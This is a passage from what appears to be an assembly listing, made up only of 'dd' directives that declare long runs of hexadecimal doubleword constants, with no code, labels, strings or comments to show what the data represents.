0C70616Ah, 2558B3Fh, 646F003Ah, 0A24C6Bh dd 0E5CA6D18h, 46485F50h, 5B63DF00h, 0C5424D8Dh, 4A170521h dd 102BAEh, 15E6D6ACh, 2F05E881h, 1A967741h, 19309897h dd 3E3610Ah, 374E7484h, 2FE0F77Fh, 0A40CAC8Ch, 10F52D35h dd 7CA8005Ch, 0AB43DE0Fh, 0D202B8E4h, 0FFC03A2Ch, 8A5340CDh dd 0A1A03CBh, 0A431E8A9h, 0E893C8A1h, 80B8C96Ch, 0BAF38F09h dd 0C1B0E3EAh, 88EC24F7h, 3AAF870h, 0DB4F6384h, 0BA9972A4h dd 67F640B1h, 31C20B53h, 0E01AE499h, 92E866h, 894DB414h dd 323A60A9h, 0C1503707h, 0FFA0B9A6h, 642A40Ch, 8461B1E0h dd 26FC3CADh, 5C00877Ch, 904CDBC4h, 0F09520h, 2879B162h dd 0DA9425A6h, 0AB2DC100h, 0CE70B8E3h, 6140081h, 0A36B506Ah dd 0A49E768Fh, 0B6EC5900h, 70259566h, 2AC700A4h, 0B87BB568h dd 9B0164C8h, 7F79D886h, 0C0850676h, 40E2CFF4h, 140BC6F4h dd 9109FBB2h, 80E118FAh, 7060C9CBh, 31396275h, 602FDD24h dd 505A5345h, 0E657505h, 1B37125Dh, 5700E454h, 0F7EBE98Eh dd 0D775C8CEh, 0F1F540C0h, 0E8F6CA6Ch, 0F150481h, 0B0937919h dd 0C40073B0h, 4D1167F4h, 0C0C6F838h, 481DE928h, 0B116BBFDh dd 61006243h, 2F38CE77h, 7F16007Ah, 0B24D1BB3h, 870AD136h dd 0D00E35E8h, 47375D80h, 26CECFC0h, 34DD849h, 62EDD0E7h dd 9F11D109h, 1AB6033Eh, 0C297C036h, 0D3A30028h, 1ECF3808h dd 0CC1D0917h, 1BC33D2Ch, 0E0C3B6BBh, 7C7397Ah, 73EEF502h dd 1951FC3Ah, 0E0A9750Ch, 1EF11D1h, 4BDAFCF7h, 0E061C89Dh dd 7C00803Dh, 1F35EA6Dh, 7A97DD7h, 6B5945B6h, 0DC727058h dd 0C503E194h, 11368C1Ah, 0BA52D810h, 28CB3BB8h, 7FA7B780h dd 0EED2EA88h, 0DA22E20Ch, 5E08F6h, 8EB70F49h, 0C09D8426h dd 0FAD59B00h, 900E785Fh, 152107C6h, 813C5224h, 0F003FF11h dd 291F47B7h, 9D0071ADh, 83CE9412h, 60827402h, 2747504Bh dd 9B0773D5h, 8E43B638h, 57A16EF0h, 0B3C518BBh, 0C7AA7847h dd 24315260h, 6B53288h, 0CB103620h, 0C8C468D1h, 0E130BEACh dd 0D223D083h, 21AF18DEh, 8300088Ch, 0DF12E3E6h, 1D857C9Ch dd 86435473h, 0D859FE8Dh, 0DDD9E202h, 875227B0h, 6C53B40h dd 71AC7020h, 0AA9D1055h, 8056C882h, 0D271F3EEh, 140D8FE2h dd 50F9D94Bh, 67C29AD4h, 413D6846h, 80232639h, 6F5297F1h dd 0C8B93F7h, 8A484217h, 21DF2F08h, 0C46F5741h, 0B9405F06h dd 12C9048h, 2E472A0Dh, 0D4953AA6h, 0D800610Eh, 34D41693h dd 19C0D9Dh, 0A7AE1BBDh, 241D03FDh, 510F2400h, 1A40A1h dd 0E45B92D0h, 0A6170080h, 0F7FFB67Bh, 0A37D2449h, 0A57CDE00h dd 73224630h, 0F55700D8h, 0B794C2A6h, 0B676E4ADh, 2C0B5200h dd 7D6E19D1h, 0D6700DBh, 0B391B47Bh, 5205CB17h, 33D33B27h dd 98EE3EC0h, 62F90011h, 5EC0EE3h, 0D0004E42h, 33FB3965h dd 39BA6E16h, 9500D257h, 9E0F1CB2h, 640102CDh, 2DB65C30h dd 0EF60359Fh, 1BE5009Dh, 2E1AA25Bh, 7700D796h, 19B9F013h dd 0D2CB2Ch, 6FB63CC9h, 34E49B14h, 98335700h, 8AD648AAh dd 2EED0056h, 0D1C55EAEh, 7F00D352h, 0B74CF5C6h, 54A9DDCh dd 0FDEB873Dh, 0B24480FAh, 51EC7E59h, 63002590h, 56587580h dd 840896h, 2A98858Ah, 7CFE87B1h, 0B2B3DB1Ch, 20EEE680h dd 3AA523h, 8856D894h, 0C37F9C85h, 901B9900h, 0B0292C48h dd 18E616B9h, 0BEC70007h, 0C22EE322h, 4ACA7C03h, 98082D87h dd 4D6B79h, 426FE912h dd 3DBEABD0h, 0ACA87700h, 0FBCDAEF3h, 4BD40036h, 800485C4h dd 0BA70FFD5h, 0E3239300h, 899A2B26h, 22DF0B72h, 530031B2h dd 544725CFh, 67D07603h, 8DF551h, 37668338h, 42751A9Fh dd 0F3A5A700h, 39D39506h, 0A2DF0FBAh, 0C7A3EFBBh, 56F36714h dd 81505C00h, 2045F751h, 161001FCh, 0BF2B4C21h, 0F9DCF04Fh dd 0DEFD1901h, 5088B327h, 96CEC0h, 0C76F7BD0h, 82AD520Dh dd 1300BCF8h, 2C393F5Bh, 60518568h, 6FD2A8CDh, 4000F8B4h dd 0A8DF4288h, 0EABBD4h, 8B0145Fh, 3A76E16Ch, 80ECDB3Eh dd 0AA213EC3h, 66229AEh, 586D58Fh, 2C00D870h, 0CF717323h dd 3CBD033h, 6881428Bh, 0ED065DEh, 0B006A851h, 0ECC04BAEh dd 0C360060h, 8F5830FCh, 660019Fh, 0D8B0719h, 0EA5200BEh dd 6F6B55C1h, 530028B3h, 0D91498E2h, 6E069EB6h, 0BCA03111h dd 77F96676h, 0B7398D16h, 0FB9B4100h, 1027E03h, 1A7F31CAh dd 80930EADh, 992B1840h, 382843Ch, 2DFBB3EAh, 7FE0320Bh dd 37B62151h, 702F09h, 36EF5647h, 13935C0Bh, 79AF700h dd 3C13F811h, 6689A10Ch, 3015E10Dh, 784057C5h, 0C00B429h dd 2C896A53h, 170499Eh, 0FB74AF44h, 0E85EB12Bh, 7A01592Eh dd 205721A3h, 0B0DCC287h, 95E63F29h, 0E0EBB698h, 4D019DC5h dd 78DD488Ah, 0A0D84B2Ah, 7FFE09C8h, 2C008F4Eh, 0CDF9753Dh dd 0DB492400h, 0BC5235E9h, 0E1AC0094h, 470E0A5Ch, 7B25DFAEh dd 0A25053h, 0E8D970F1h, 356D720Ch, 0A84B3903h, 90406B8Eh dd 1D24417Bh, 1FB968F9h, 219322h, 747A9028h, 0C20548CCh dd 0DB1FC531h, 0F48CCF00h, 22A365Fh, 0C670E6EEh, 0E0803A68h dd 0A1849178h, 0D8AD7401h, 6E36B120h, 5EA7D0h, 605B1CF4h dd 0D1659FE7h, 93F21401h, 283C2C15h, 0A9D008D9h, 74EC0FE5h dd 89604626h, 75E20CA5h, 0EF40A700h, 0FD905E31h, 733FA54h dd 3BACD90Bh, 0A41E30ADh, 0B4016A2Ch, 61AF7D71h, 99D47680h dd 26BBEA65h, 80F697h, 0F31D4E89h, 0C000C849h, 36CCD420h dd 4E2F91Bh, 22A28599h, 7A33C01Ah, 4BE2F879h, 0E99D8F1Dh dd 0F0ECEE80h, 0F21809h, 113A391Eh, 9FACE36Fh, 0EA907703h dd 2EC903h, 0E447A770h, 98B248D6h, 9B8E8728h, 2F2A009h dd 0D82420DEh, 0F5F727h, 0D334CB74h, 459BE5C6h, 0C8806024h dd 0C9E04F03h, 1AA5A0AFh, 0EDC106DCh, 11A82438h, 0A0034FAh dd 0C7726109h, 73CD64DAh, 83B506FFh, 29F92253h, 9BB72D07h dd 0D1F099DEh, 27140B2h, 0D7A99418h, 0E84063CBh, 8224DAC8h dd 75037EB1h, 0D061C2DBh, 625B03h, 0CD570C10h, 0CF238294h dd 677E3800h, 0A099E417h, 0CE2A3866h, 2FC3037Ch, 315144F4h dd 0C7A7A1F8h, 0A2051100h, 0CCF3A9A4h, 0D85500CAh, 68F57E48h dd 66018CB8h, 0DE3FD2DBh, 29C830B4h, 0D06754A9h, 0C4A0005Eh dd 2C7D1F42h, 0B60F4F38h, 22B9D2A8h, 0E06F4B58h, 1880EC7h dd 0EC80D13Fh, 0FB74A606h, 0DF9DB200h, 3C6445B1h, 0EFA0046h dd 0DA09F6D8h, 0B8007A80h, 1974E631h, 4C4766A1h, 201A0FAh dd 0AFB57B0Ah, 40DB7026h, 0E1505B1Eh, 0D40F80BCh, 0A14E1185h dd 0FF02003Eh, 9A1457DBh, 0A00AB3B5h, 0EC9E5320h, 0E2461700h dd 12656FF2h, 35948Ch, 0FA862644h, 3005CB8h, 4025B1EEh dd 0F73C9Ch, 272D94D1h, 0B4A8A35Ah, 98893D00h, 1FA76B13h dd 91F600BEh, 0F938DC66h, 6490B574h, 2F0B2678h, 0D128AF2h dd 0FBC0114Ch, 8FAC1C6Ah, 1EC6865h, 0CE0B6204h, 7007D12Ah dd 3C1C175Ah, 7FC023F9h, 0BC6754EAh, 8D600058h, 0E231FF4Dh dd 27E4136Ch, 6148E538h, 537C1E58h, 0F7C0D921h, 6857AB1h dd 0F359258Ah, 893D6864h, 436E24FDh, 0EA1C2B17h, 8899C90Ah dd 51A3700h, 0F59A030Fh, 305895E0h, 0FE110E4Dh, 624C3879h dd 9010EC1h, 320260A4h, 0AD0EED3h, 0D55EE545h, 74B73824h dd 72677071h, 0D0001D43h, 0B7DF4E5h, 0A0A7484Ch, 7BA2DAh dd 10DF151Ah, 7764D3ECh, 2ECCE500h, 0C693876h, 8ABD1F27h dd 0ADC6C75Bh, 0DD5240AEh, 0E100E446h, 0E69CD609h, 0FD36DFAh dd 3AC180BFh, 889D4E80h, 977A1A7h, 29EC4300h, 453C8B6h dd 923C03D5h, 0C7D13B02h, 869BD3D0h, 0F5B74E01h, 9EB5F9B8h dd 23B6D4h, 3A5D92FAh, 0B2580AACh, 2F009F90h, 0E12EAD2h dd 628589h, 0DF01FE4Ah, 53B064D7h, 4B2E1400h, 382F28C6h dd 991C0015h, 2A452034h, 95006159h, 33EB708Ch, 0D78376h dd 208229F3h, 0B6ED2D8Fh, 0D5663D00h, 315B63D2h, 0F2B4EE72h dd 2DCD00FAh, 681FA1BCh, 1C007978h, 697F6709h, 0F847233h dd 0C7048346h, 288BD300h, 0F2009305h, 3DC15377h, 26DCC233h dd 0B963BCh, 81D37B48h, 16009172h, 30F2FFD7h, 3DB24C1Ch dd 0EC3D3942h, 0D9BC7080h, 7354699Dh, 3752330Eh, 0D0B04301h dd 6639C0C2h, 70A8097Fh, 1C89F259h, 96896F00h, 9F004C07h dd 8297B8B4h, 0FFDC4Eh, 6BD6B355h, 28CB7A54h, 0DA1C5B09h dd 0DF180086h, 0FC3CA072h, 0D49A3D79h, 3181D600h, 1EA7937Dh dd 0F51A041Dh, 8EEFDFC3h, 0AE28112Bh, 7BE611E1h, 7B1B2011h dd 222A7920h, 0B922E202h, 117C427Ah, 76117E60h, 28BE28D2h dd 21285842h, 0D6EA2214h, 421E9922h, 7A6B08B4h, 0D53E083Bh dd 92632B84h, 86495008h, 60283AA4h, 0C2ADF152h, 0D00B584h dd 728A8F64h, 6F8E13h, 0A1F82B1Fh, 0AB430471h, 0BE149600h dd 7B61C87h, 184909BCh, 0F8988320h, 0A7034CF5h, 0D2BE09DEh dd 6D47987Fh, 80F894B0h, 8919CE9Eh, 7800A470h, 17D392F9h dd 16B221F3h, 0D7EF8Ch, 0C357BACh, 0D958027Ah, 60C12DFCh dd 0B017C334h, 762A3E9Ch, 0E9899A07h, 42322210h, 2DC28CE8h dd 0B9FA9100h, 2F994D30h, 0C5F1004Fh, 0FC2117ADh, 850F11E3h dd 0E4E6887Ch, 5B8057B1h, 13AEBB18h, 7E4E48h, 54BF74DDh dd 1502431Dh, 3AFD0C0Fh, 0C7C8C8CAh, 4CFA005Dh, 4D74D8DAh dd 0A6001915h, 9A207C7Ah, 0F2A1ABDCh, 2F53072Eh, 808A620Ch dd 0DD27E1EDh, 26EC8900h, 9AC17F4Eh, 9EFEB1h, 0B515EF65h dd 0DC141C5Eh, 0CA03B003h, 0C32561EDh, 491DC09Bh, 3DBE3AF5h dd 6DEBA980h, 0C3FF9D68h, 0BBA09518h, 0C0A5B38h, 74E17663h dd 0EC7E77D6h, 3FD98F1Fh, 0E2108580h, 17223Ah, 0CB5D71D2h dd 0C99840ACh, 0A8CF7B03h, 0B0C79991h, 2ABE3DDh, 0D55DE7DBh dd 0A4607A6Dh, 0F200B13Dh, 5F547365h, 7C1550DAh, 1E0F003Eh dd 12417188h, 0C0E99AF3h, 30117CEh, 5F356DE3h, 2F8302Bh dd 0AE9209F0h, 0D181C474h, 20BFECC0h, 0CD58EE10h, 0C22D008Fh dd 6064839Bh, 208A00E6h, 2A92CAB2h, 8E4C1B19h, 65391C06h dd 285500BEh, 7058DE10h, 4C2A1E64h, 0E54F803Bh, 9BA1371Bh dd 0B8623C30h, 54C58Dh, 2A04EFCAh, 0ADDCA5C6h, 83796E09h dd 871C60B5h, 0B01C0413h, 8064E736h, 3199B264h, 0BB3D9B0Bh dd 0DEF28E97h, 63594Fh, 7201C453h, 2560003h, 0E62FC92h dd 0EB00ACAEh, 13BA42A6h, 147C2F5h, 951E8E76h, 0F14AE3D3h dd 0EAE8436Fh, 629C63D8h, 0C43ABC00h, 103DB18Bh, 4D6A1F79h dd 0FA10F096h, 0CF07447Fh, 7A496201h, 0BD302850h, 22853FA0h dd 0EE8B1600h, 2CC10DF7h, 3B0C5207h, 29D713CEh, 0D730F550h dd 7A8B00B8h, 72F04981h, 690091C5h, 602A7020h, 90CBC698h dd 0FBC70074h, 9988C45Bh, 1F61D63h, 0FBEB202h, 60A7C978h dd 69ECD6h, 0AF976AB1h, 1C42755Ah, 36675E03h, 0F0D9121Ah dd 14D2100Bh, 8BAE444Ch dd 0B4507A00h, 69052DEBh, 99C8348h, 8F133655h, 64BE01Ch dd 2EFC4DBAh, 3CDCDB7Ch, 0FD4E0D07h, 0F029707Bh, 0D64C2B58h dd 48620047h, 0BE0F3312h, 0D071076Dh, 3022E00Eh, 7D7A1E24h dd 38835900h, 992527DEh, 0E0ECA8DBh, 0C3D1024Ah, 6C8B5896h dd 0AE1DCFE0h, 8068113Ch, 6E4ED39Dh, 72A98CE1h, 467A0624h dd 411226BEh, 0E539B1EAh, 5A2775h, 0E70CEF8Ch, 460E01BDh dd 0D2C8D091h, 0B0F8EC77h, 0AD964100h, 95C155DEh, 5F1F2482h dd 0CB50459h, 1060813Ch, 416CD035h, 0EA2F8101h, 0B5D005D3h dd 0DEECCECDh, 7CF40090h, 67B7AB0h, 54000E25h, 0EE28BB50h dd 0C07534h, 9AEBE73Fh, 5BDCD409h, 44B3AC03h, 0E869FA7h dd 49A80F3Eh, 0EB145500h, 5800067Fh, 4EA17608h, 10A1E16h dd 62A59456h, 0EC2164C1h, 49007D14h, 30B0CC54h, 7D30785h dd 0D82B57EFh, 0AF1FC08Fh, 0D000F5EDh, 6E793A81h, 1E68E922h dd 403763A5h, 0FA0F472Ah, 0A300B360h, 464FA404h, 0F4F73059h dd 498B004Dh, 42817263h, 0F000858Fh, 4C9723F3h, 3E8A58h dd 98D7F609h, 363E656h, 9221CE03h, 0AA962B3Bh, 0F6B4A00Fh dd 387E7117h, 0C980BD57h, 7B14A7E8h, 110086CAh, 0C4B53B99h dd 5A2B08h, 36ED22D8h, 0A0F24931h, 201758h, 0BC0BC115h dd 76D7D4Fh, 0BD3D8C3Ah, 0B8530282h, 1F217078h, 73E60074h dd 0DB0E54A0h, 0C187560h, 77B7D4Eh, 0A441A853h, 7EB69033h dd 0E91EE813h, 0B545DD67h, 920025A0h, 61FBFEB0h, 2779880h dd 51583C98h, 5E603A82h, 6F587A8Ch, 8A3F7D78h, 0DC488037h dd 0B38F5C90h, 9A8600FAh, 12645A21h, 6E038431h, 3DF31E9Dh dd 3EB4B073h, 70FA0011h, 4D20FC36h, 8500749Eh, 0D8677B76h dd 24775263h, 8EBC0D4Fh, 46A127B6h, 20CCE911h, 3C3B6D64h dd 9E968006h, 3987AD2Fh, 64150099h, 0C9B1B878h, 0A83D7B2Ah dd 0BA468198h, 57B9A2F4h, 0CD89FCh, 0D8FF02BEh, 656F20Fh dd 98AE2928h, 660076FAh, 0DFA99986h, 2630925Eh, 57C8A4h dd 3DD0FF9Bh, 0EB3A9861h, 0B3587DBh, 0DDF0AAF4h, 7AC82FAh dd 0FC3CC32Eh, 848BE00Ch, 0E8120678h, 3C008FE5h, 0C57473A0h dd 6398133Eh, 8BE0027Fh, 4520DC1Bh, 0A69F54h, 0CC9D1074h dd 55B366C9h, 0D812D7E2h, 0BCC34616h, 72F198F7h, 38EF0078h dd 2798B4A3h, 0A001B91h, 0F3B21FAFh, 3CA87226h, 0CB0B5F51h dd 300F572Ah, 5E362583h, 7BC02793h, 0D303A7CDh, 62F143B0h dd 0C194BBB4h, 2034A029h, 1C3000E7h, 0E19C7550h, 0A4001F42h dd 2C7BACA9h, 0EF4C0Ch, 0AED348D9h, 39EBCB4Dh, 0F7492600h dd 0B07B1578h, 0C2A70068h, 0E196F11Bh, 0C0C05438h, 5C91F0D7h dd 586316E9h, 62DC4003h, 7FD020CBh, 0C6B8821Fh, 0FD31198Eh dd 0F60C3980h, 0B4C9B3DAh, 400B1D44h, 0C791D904h, 696010F3h dd 6DF487C1h, 9C430B77h, 4468F6C4h, 2FF0154Bh, 0B7F15A1Eh dd 3D171B80h, 4BCFBF3h, 241E6189h, 0D037C177h, 0A8CA46EEh dd 63102F01h, 5122D46Ah, 3D0EC0h, 42C217BEh, 0DD59F3Bh dd 129D100h, 0CF182D98h, 740001Eh, 0A6CA7EE0h, 6E02416Fh dd 86D2430Dh, 0AC8440D0h, 0E39D00A2h, 1C18030Ch, 873F3D11h dd 0CC5E80A7h, 508809FFh, 20400044h, 7CE8712Eh, 0D032972h dd 468CC525h, 0CBAB90F1h, 61C000CDh, 0E49EFC66h, 3500A530h dd 0ADC681DDh, 98E682B4h, 4A77000Bh, 3666A172h, 0F8000326h dd 9C110DBCh, 14715C3h, 456B65A8h, 70913578h, 4A12A358h dd 0BC009671h, 5C8BC1FDh, 0E0427AF0h, 7BFE0022h, 0CE455146h dd 6041499h, 68D936A4h, 0D5E4C4C0h, 35DECEDh, 0C72A4070h dd 83F076D6h, 570B9BF6h, 31F5CB6h, 0AA3B3178h, 0F30F0DEh dd 0A29B14BCh, 40AE9D89h, 3B04C888h, 3D05655Ah, 0B9E0B096h dd 2128B200h, 0E9FCA2D1h, 16750094h, 0D9099B86h, 7300F2ABh dd 37D477E2h, 5AFAEC7Eh, 83944324h, 7AD849A0h, 0E600B566h dd 5EFA87EEh, 1EA2182h, 0A20C35EDh, 0C0B660B2h, 8F1F4F57h dd 41A47966h, 3FC77100h, 1E4904BAh, 0BF23C570h, 737B088Bh dd 0EC05EB00h, 283EFC2Fh, 350301CFh, 7B4F2E3Dh, 40A3FD8h dd 4D5C32EAh, 7931C022h, 9828257Dh, 0DE084D1h, 5D2C5300h dd 550FE27h, 128916FAh, 1428C019h, 0B3001F5Ah, 0E9D7EC11h dd 0EE9FE2FEh, 0F66B14F8h, 0A507D88Bh, 47269923h, 1C1B503Ah dd 532687BDh, 73038C3Fh, 864E68B8h, 74D5F99h, 0B64C8644h dd 2008A6Ch, 114152C9h, 79CB67h, 942FC1D0h, 0BF73F872h dd 1BD11200h, 8E5A6265h, 2E94901Fh, 3B40B8FFh, 9A00EBB8h dd 595F30BFh, 373F1263h, 5ECB8034h, 2799A2BAh, 43450047h dd 3F1BF2CFh, 0A87919EDh, 61000EB0h, 0C7494FF5h, 46326C1h dd 395C3FB4h, 30E89D74h, 8A002F7Ch, 344091DFh, 12474283h dd 0C0BAC1F8h, 0B4A4A670h, 60C37500h, 0E679A5AEh, 0DEF50035h dd 0BC7BC70Dh, 6CB08C2Fh, 9E84B601h, 223DFC19h, 36329C40h dd 0C2D6E302h, 0CC8448E1h, 978D0176h, 9E4586D3h, 4E22D8FCh dd 0CF00D4BCh, 82EBADD5h, 1BE03C2Fh, 0B81228h, 38B88863h dd 0B4CC530h, 682C5D07h, 3C8176BBh, 0D9CC2412h, 0F689009Ch dd 73115401h, 3B00E13Ah, 8435151Ch, 1C3D8EA6h, 407CB94Bh dd 6514DB77h, 67005527h, 0AE24A89Eh, 53E44Fh, 0C14B7D9Dh dd 38E2F325h, 0D89E9C04h, 73C0D59Ah, 7CD7CDE1h, 0DA9B0785h dd 809DFD8Eh, 3F1D06ABh, 9288E001h, 0A6CE48Fh, 42E0A5E1h dd 9A4300E9h, 247CFE0Dh, 92584589h, 0A96F0005h, 1E074912h dd 7AF900C2h, 528346DCh, 0A300671Ch, 3BC88ADAh, 794BABh dd 6F0868B2h, 88763627h, 6A451300h, 96804A54h, 0F4D20004h dd 92911EB0h, 1500FC95h, 5249F742h, 0D52D6Ah, 0EC28031Fh dd 69AA8118h, 96651701h, 566E99D3h, 58B0C8h, 64A8A92h dd 0F1FB6B87h, 1389FD07h, 56306452h, 0F171A4Bh, 3CF6A90Eh dd 92AEA6E0h, 2D00BAA0h, 5D7B880Bh, 0FE56CC7h, 96C6EE0Ah dd 0B3A70E00h, 4F00645Bh, 4785FA4Eh, 1D3D120h, 37609534h dd 0D879CA70h, 0C90701F8h, 0DCB08133h, 923BA890h, 0A84B6EA6h dd 6957D720h, 0AF00187Eh, 0B75B491Eh, 781B1C79h, 5DBE0048h dd 0FEF24568h, 8F77359Ah, 21A52E00h, 72FBE686h, 0A707076Ch dd 40CB0CF3h, 0A8AEF25Ch, 37C7B600h, 5E98156Dh, 8A770061h dd 0D76E2C41h, 167D09C6h, 0CE48200h, 0FB5B729Bh, 90850084h dd 9679C5F9h, 1A0513F7h, 9F581EBDh, 0EA4CBC40h, 0E8DA02h dd 0B4D9DB6Eh, 51337DCDh, 0EE209364h, 6A160C90h, 0C5D60019h dd 0F80E2ABDh, 0C00C709h, 0AA2BF273h, 5064EEDDh, 24954Dh dd 65316D4Bh, 8C57EB7Ah, 0CB1BAF00h, 2FEEB533h, 0DF3C50C1h dd 3F8E679h, 6DC5888Eh, 0F7F819CBh, 1C00D530h, 5F6B1D0Fh dd 0B2F583h, 85F1B186h, 6CDDF608h, 0AFDFDB18h, 0A30A56A0h dd 0D21D8B0h, 78E0F2h, 0B7D1A6BCh, 65FD2985h, 0F3590B00h dd 0E3C97409h, 4C96039Dh, 0DC9C1C9Eh, 4B5E24B8h, 0EEF81B4Bh dd 0BEAD0600h, 560C768Fh, 4D13C01Dh, 54C7A0C0h, 0D474E9h dd 8B82E63Dh, 0B0AA925h, 64F52000h, 0C384DE98h, 0E4B10094h dd 0B4EBEC5Eh, 5D01F6C8h, 309EAC67h, 0DDD8378Eh, 9349006Fh dd 0DE8BD3D0h, 6D00DF8Dh, 0C565ADEEh, 0A5C043h, 14917EA7h dd 89663ECCh, 0E61BF509h, 924D83C7h, 878095EDh, 45F1BDh dd 0AA67E18Ch, 0E25840BBh, 61430400h, 7ECD2039h, 771800C6h dd 3065F3F8h, 551C82C4h dd 63879C5Dh, 37F08898h, 85C759h, 105824A7h, 1AB49072h dd 1C007CFAh, 37C325ECh, 3BFB4802h, 0CE03AF7Fh, 3585912Dh dd 0CC56B2E8h, 0AAF0272Ch, 79960600h, 43D001h, 2F119BABh dd 6093F9A1h, 0A407FCFAh, 0B4592606h, 0A9C62EA0h, 913700A0h dd 1FD1F5EAh, 330F1A5Eh, 0A0CB4C2Ch, 0D6AD20FFh, 0E1E8007Ch dd 0A990DCA2h, 0CA1C48F9h, 2DC038E3h, 0B1595BB9h, 0E6E003D3h dd 0DFD1AA86h, 1527390h, 0A8B5D91Dh, 0F2C180B9h, 836FE6B7h dd 7AF8073Ah, 40649C8Ah, 0BE65586Bh, 0FCA03D00h, 375C76FAh dd 22D60B78h, 0C400CE92h, 8AF518BDh, 0ABC58C00h, 7C5C257Eh dd 663500E0h, 24167F6Ah, 9030262Eh, 37CDE863h, 9A1500C2h dd 347C0BA5h, 0AC00D662h, 5EB916D1h, 725FA264h, 72DE00DBh dd 88F8D520h, 5503E1EAh, 750E62BAh, 3C1BC08Fh, 789853h dd 418BD1D6h, 3BDF144Ah, 60588E03h, 2755BA61h, 317E3F20h dd 0E39DA100h, 3E909602h, 601FF778h, 33998021h, 6798173Bh dd 73BA7200h, 0C62F6E47h, 0FF0E07CCh, 0E00A6A5Eh, 0B2FC97CDh dd 0C8C55900h, 0AF7CA454h, 57A7717h, 0BEF5B746h, 774880D0h dd 0A50069D3h, 9E7D95F8h, 267EDB92h, 138F256h, 0EB37D99Bh dd 0B0E1FC66h, 6299D1Dh, 2AE36000h, 1773B20Dh, 0B3B1E0h dd 0DA6E7172h, 53009A3Ah, 0C2D5D676h, 0DBC6BDh, 92381963h dd 0DC8D7423h, 2FCE1000h, 1AB64CA6h, 70FC90BFh, 7C890B3h dd 41ED2044h, 0A1B4E079h, 195C5662h, 92350132h, 0BC5BA831h dd 5487ECC3h, 0AC9B7DA0h, 57AD008Ah, 126A15A6h, 5B007470h dd 7D873758h, 0A0C9D2h, 0E782DFE1h, 92E066F2h, 6B6CD107h dd 61E3DA78h, 7083A03Ch, 0B9B33A22h, 7DCEC00h, 97AF19B0h dd 0B100A0FEh, 0B7FE40AAh, 0CD9975h, 96339BFh, 9A3BDB42h dd 2986F201h, 0ACBC765Ah, 0D44066C5h, 0CC25D5h, 8253500Dh dd 12A76911h, 0B2EDF800h, 0E030905Ch, 0E4651510h, 0B00C4ACh dd 5A7943CFh, 8C1FA066h, 0E4001764h, 0EF027BCCh, 82140074h dd 2013DB94h, 85301808h, 1996E0C1h, 21CE004Fh, 9F91FDFEh dd 0C600F10Ch, 83C21601h, 0EF7367h, 0BEC03CE5h, 79E48E3Eh dd 19177800h, 0A77BF48Dh, 314B0042h, 15FD72AEh, 0FE2CC165h dd 7F805499h, 407BF22Fh, 0E51A004Fh, 9366B53Ah, 0AE0FF978h dd 0CFE75235h, 9B014019h, 5DB37Bh, 326F7476h, 6544B11Ch dd 0D86EC600h, 1EADD2Dh, 11290396h, 0BA5EC8A9h, 0CA2F097h dd 86007003h, 52BE2C6Dh, 3A151875h, 0C61F1226h, 85F39E3Ah dd 81397485h, 0D4E92C60h, 70158C0h, 21DC0A79h, 27FCBB37h dd 80B22Eh, 0FB1F5D71h, 0F05E2631h, 3E004E79h, 0BD3901B5h dd 12E64D04h, 4BB01Eh, 761D6D8Ah, 5E000B83h, 0EC685B6Ch dd 185A28Fh, 0C0D55B9h, 60BF09C3h, 3C0FFE00h, 205D5BEAh dd 0AB946F11h, 9F711D5Ch, 8780FF17h, 0CBD569D2h, 41005120h dd 5C0DFBF6h, 0FB10244h, 0E0835375h, 9113E920h, 370A0962h dd 0BDA2A9FCh, 8BE3013Ch, 0A3E6A556h, 36DC630h, 0F108D22Eh dd 51B0E827h, 0E416EEA2h, 0F126366h, 5BC35C05h, 69ED7C80h dd 0F436597Ah, 6BAB1203h, 1100306Ch, 0F9106144h, 751B59Fh dd 2A4918C1h, 93C66011h, 2914F22Ch, 0FE466B0h, 0C1C37D4Eh dd 0A934AC3Ch, 188067E5h, 0DF0A6157h, 0EDE4E940h, 30089EEh dd 0DAF1A73Eh, 1CFDC86Bh, 8074FC41h, 8202CD91h, 3916B67Ch dd 0C70047CAh, 30F4E0D7h, 258E00DAh, 0CBD866AEh, 5F72A999h dd 3C73114h, 4DF40595h, 5C90AC8Ah, 0FEDD55h, 6A5F701Ch dd 441A4B69h, 0E7ED3A00h, 43CDC091h, 7DD8980Dh, 5E1B0094h dd 5163D7Ch, 800ED8C8h, 608C7995h, 4DB5203Ch, 78751FBEh dd 9A0A046Dh, 0BC00A317h, 9D008CADh, 1112865Fh, 5EBE806h dd 1BC1AA85h, 24A1033Eh, 0FFE9D88Fh, 0E3F33009h, 984AF41Ch dd 0C8443A4Ch, 85E90481h, 8048CCC5h, 0C75C0B60h, 0D253CE0Bh dd 0F4D5817Ah, 0F0205B7Fh, 0F89D071Fh, 40E39303h, 0CED23BF6h dd 0A9E6B800h, 0BF645F52h, 7CB60073h, 15B0C9B3h, 2501D774h dd 3BF4BCDBh, 8DFCC5CFh, 0E5F826h, 94C20F79h, 18B89330h dd 0D00B5D71h, 3B9C6Bh, 0FAE3A078h, 39F760DDh, 0EE70F1A3h dd 4A33C600h, 831F9EC4h, 0E2C1C19h, 404DD295h, 4908F5D4h dd 7C00B590h, 0A768BE4h, 9A50E50h, 0DA19FE30h, 0D5D49C00h dd 4C00D3C1h, 922C4239h, 0BD68EF7h, 7CBB5C88h, 0D0DC0800h dd 25009D8Dh, 0A30D9959h, 2666F71Eh, 6CE60Ah, 554B7813h dd 0E80FB0A0h, 363DB7h, 41F9CC69h, 0FC9200DCh, 2A01EF88h dd 3B88046h, 33E0C94h, 5594E982h, 183000FBh, 0ECE897C3h dd 0E30049C8h, 1D2256F1h, 0E0CAD3h, 0DA24D5EBh, 8FA66717h dd 94165500h, 0CFE939F4h, 0F887ED1Fh, 17E42D65h, 444CEEE0h dd 55007869h, 0FAA34EA6h, 19EC3FEh, 76C44708h, 609853F1h dd 7807AB4Ch, 0BD7B6264h, 5A3B4090h, 0AF60008Bh, 23AEEB70h dd 0EA004884h, 3449240Ah, 55CD96h, 6FDE8AC0h, 3260D00Dh dd 0B2E85F02h, 0E0AB4EEEh, 7403351h, 0F7E305EFh, 3F5A0A7h dd 421E75E9h, 731D5CFCh, 67EBEC00h, 53EE7Ah, 660A034Eh dd 435116B6h, 6A114700h, 7922E527h, 0EDD009Bh, 1C634178h dd 2C020C76h, 7F37117Eh, 0D369C0C9h, 765F4CCh, 8E30CF2Bh dd 0DFBB00FEh, 0AE000205h, 0C00436FDh, 0F93C88h, 5082A567h dd 571C6D18h, 0CBE6D3FEh, 84C4EB00h, 0DB8C31C3h, 0E8BC00CAh dd 2EC72F1Ch, 300CF2Ah, 0EE1256A5h, 556E1Fh, 0C1508A7Eh dd 0CA5A06FDh, 0BC4B7200h, 